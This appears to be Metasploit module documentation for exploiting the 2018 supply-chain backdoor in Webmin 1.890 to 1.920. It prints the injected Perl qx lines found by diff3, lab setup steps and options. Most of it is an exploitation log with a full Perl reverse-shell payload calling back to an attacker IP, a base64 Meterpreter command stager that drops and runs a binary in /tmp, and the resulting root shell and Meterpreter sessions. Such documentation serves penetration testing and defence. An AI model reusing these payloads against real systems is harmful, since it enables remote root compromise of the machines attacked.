## Introduction This module exploits a backdoor in Webmin versions 1.890 through 1.920. Only the SourceForge downloads were backdoored, but they are listed as official downloads on the project's site. Unknown attacker(s) inserted Perl `qx` statements into the build server's source code on two separate occasions: once in April 2018, introducing the backdoor in the 1.890 release, and in July 2018, reintroducing the backdoor in releases 1.900 through 1.920. Only version 1.890 is exploitable in the default install. Later affected versions require the expired password changing feature to be enabled. ## Analysis The backdoored code can compared across space and time with `diff3(1)`. ``` wvu@kharak:~/Downloads$ diff3 webmin-1.{890,930,920}/password_change.cgi ====2 1:1c 3:1c #!/usr/bin/perl 2:1c #!/usr/local/bin/perl ====1 1:12c $in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/; 2:12c 3:12c $miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!"; ====3 1:40c 2:40c $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'}); 3:40c $enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/); ====3 1:200c 2:200c # Show ok page 3:200c wvu@kharak:~/Downloads$ ``` ## Setup 1. `wget https://prdownloads.sourceforge.net/webadmin/webmin-1.890.tar.gz` 2. `tar xf webmin-1.890.tar.gz` 3. `cd webmin-1.890` 4. `./setup.sh` ## Targets ``` Id Name -- ---- 0 Automatic (Unix In-Memory) 1 Automatic (Linux Dropper) ``` ## Options **RPORT** Set this to the Webmin port. The default is 10000. **TARGETURI** Set this to the Webmin base path. The default is `/`. **ForceExploit** Set this to `true` to override the `check` result during exploitation. ## Usage ``` msf5 exploit(linux/http/webmin_backdoor) > run [*] Started reverse TCP handler on 172.28.128.1:4444 [*] Webmin 1.890 detected [+] Webmin 1.890 is a supported target [+] Webmin executed a benign check command [*] Configuring Automatic (Unix In-Memory) target [*] Sending cmd/unix/reverse_perl command payload [*] Generated command payload: perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"172.28.128.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' [*] Command shell session 1 opened (172.28.128.1:4444 -> 172.28.128.5:58374) at 2019-08-21 16:49:24 -0500 id uid=0(root) gid=0(root) groups=0(root) uname -a Linux ubuntu-xenial 4.4.0-141-generic #167-Ubuntu SMP Wed Dec 5 10:40:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ^Z Background session 1? [y/N] y msf5 exploit(linux/http/webmin_backdoor) > set target 1 target => 1 msf5 exploit(linux/http/webmin_backdoor) > run [*] Started reverse TCP handler on 172.28.128.1:4444 [*] Webmin 1.890 detected [+] Webmin 1.890 is a supported target [+] Webmin executed a benign check command [*] Configuring Automatic (Linux Dropper) target [*] Sending linux/x64/meterpreter/reverse_tcp command stager [*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/FgFBP.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tDGmH' < '/tmp/FgFBP.b64' ; chmod +x '/tmp/tDGmH' ; '/tmp/tDGmH' ; rm -f '/tmp/tDGmH' ; rm -f '/tmp/FgFBP.b64'"] [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3021284 bytes) to 172.28.128.5 [*] Meterpreter session 2 opened (172.28.128.1:4444 -> 172.28.128.5:58376) at 2019-08-21 16:49:33 -0500 [*] Command Stager progress - 100.00% done (819/819 bytes) meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 meterpreter > sysinfo Computer : 10.0.2.15 OS : Ubuntu 16.04 (Linux 4.4.0-141-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > ```